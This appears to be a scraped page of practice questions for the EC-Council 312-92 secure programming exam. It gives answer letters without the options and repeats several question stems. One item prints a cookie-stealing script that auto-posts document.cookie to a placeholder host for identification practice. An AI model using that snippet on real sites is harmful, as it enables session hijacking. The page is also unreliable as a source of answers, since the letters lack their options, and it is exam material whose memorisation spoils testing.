EC-COUNCIL 312-92 Actual Free Exam Questions & Community Discussion
Jacob is the system administrator for his company, managing over 20 Linux-based servers.
Jacob wants to ensure that his servers are secure so he decides to add the following line to the /etc/sysctl.conf file:
net.ipv4.conf.all.rp_filter = 1
What will this line accomplish?
Jacob wants to ensure that his servers are secure so he decides to add the following line to the /etc/sysctl.conf file:
net.ipv4.conf.all.rp_filter = 1
What will this line accomplish?
Correct Answer: A
Vote an answer
Gregory is a system administrator who oversees 15 Mac OS X servers for his company.
Three of his servers are at remote sites, but they still need to replicate and communicate with the servers at the main office. Gregory wants to use SSL to protect the LDAP traffic between all servers for security. For this to work properly, what port must be opened on the firewalls so that the SSL LDAP traffic can pass through?
Three of his servers are at remote sites, but they still need to replicate and communicate with the servers at the main office. Gregory wants to use SSL to protect the LDAP traffic between all servers for security. For this to work properly, what port must be opened on the firewalls so that the SSL LDAP traffic can pass through?
Correct Answer: C
Vote an answer
Gerald is a web security consultant for Protectors International. Gerald's main responsibility is to search the Internet for malicious and deceitful sites that the public should be aware of.
Gerald was tipped off about a particular site and is now looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What has Gerald stumbled upon?
<script>
document.write('<form name=hack method=post action="http://
scarysite.com/getit.php">
<input type=hidden name=sid value="' + escape(document.cookie) +
'">');
document.hack.submit();
</script>
Gerald was tipped off about a particular site and is now looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What has Gerald stumbled upon?
<script>
document.write('<form name=hack method=post action="http://
scarysite.com/getit.php">
<input type=hidden name=sid value="' + escape(document.cookie) +
'">');
document.hack.submit();
</script>
Correct Answer: B
Vote an answer
Devon is writing the following code to avoid what?
<script language="vb" runat="server">
Sub Application_BeginRequest(Sender as object, E as EventArgs)
If (Request.Path.Indexof(chr(92)) >= 0 OR _
System.IO.Path.GetFullPath
(Request.PhysicalPath) <> Request.PhysicalPath)
then
Throw New HttpException(404, "Not Found"
End If
End Sub
</script>
<script language="vb" runat="server">
Sub Application_BeginRequest(Sender as object, E as EventArgs)
If (Request.Path.Indexof(chr(92)) >= 0 OR _
System.IO.Path.GetFullPath
(Request.PhysicalPath) <> Request.PhysicalPath)
then
Throw New HttpException(404, "Not Found"
End If
End Sub
</script>
Correct Answer: A
Vote an answer
When a developer is creating port binding shell code, why should he/she not use the NULL characters?
Correct Answer: D
Vote an answer
Fred has just finished developing a number of ASP pages that will be posted to his company's website. Fred does not want the page's source code viewed by anyone, so he decided to encode the pages to make the source code unusable. What will the following command accomplish?
screnc /e asp *.* c:\tmp
screnc /e asp *.* c:\tmp
Correct Answer: C
Vote an answer
Nathan, an application developer, has taken over the lead developer's position and now will administer five other developers. The last lead developer was a programmer specialized in Xcode. Nathan is not familiar with Xcode at all, but will have to learn it to develop programs for company. Nathan come across some code left by the past developer:
set this_file to choose file with
prompt "Scale your image to 25%"
try
tell application "Image Capture Scripting"
set this_image to open this_file
scale this_image by factor 0.35
save this_image in this_file
close this_image
end tell
on error error_message
beep
buttons {"Process failed")default
button1
end try
set this_file to choose file with
prompt "Scale your image to 25%"
try
tell application "Image Capture Scripting"
set this_image to open this_file
scale this_image by factor 0.35
save this_image in this_file
close this_image
end tell
on error error_message
beep
buttons {"Process failed")default
button1
end try
Correct Answer: B
Vote an answer
Fred is planning on using the windows socket application ClientApp.exe program to create a client-side application that his employees will use. This program will access backend programs from two different remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default settings, what port must he have the network engineer open in order for the application to communicate?
Correct Answer: D
Vote an answer
Harold is programming an application that needs to be incorporate data encryption. Harold decides to utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2-bit working registers. What encryption algorithm has Harold decided to use?
Correct Answer: C
Vote an answer
Victor has completed writing his software application and is now working on error messages that will be displayed in case of any kind of failure or problem. He has written code that will display a pop-up message where there is an error. He has also written code that explain the error that has occurred. What is the last aspect of error messages that Victor needs to create for his application?
Correct Answer: A
Vote an answer
0
0
0
10
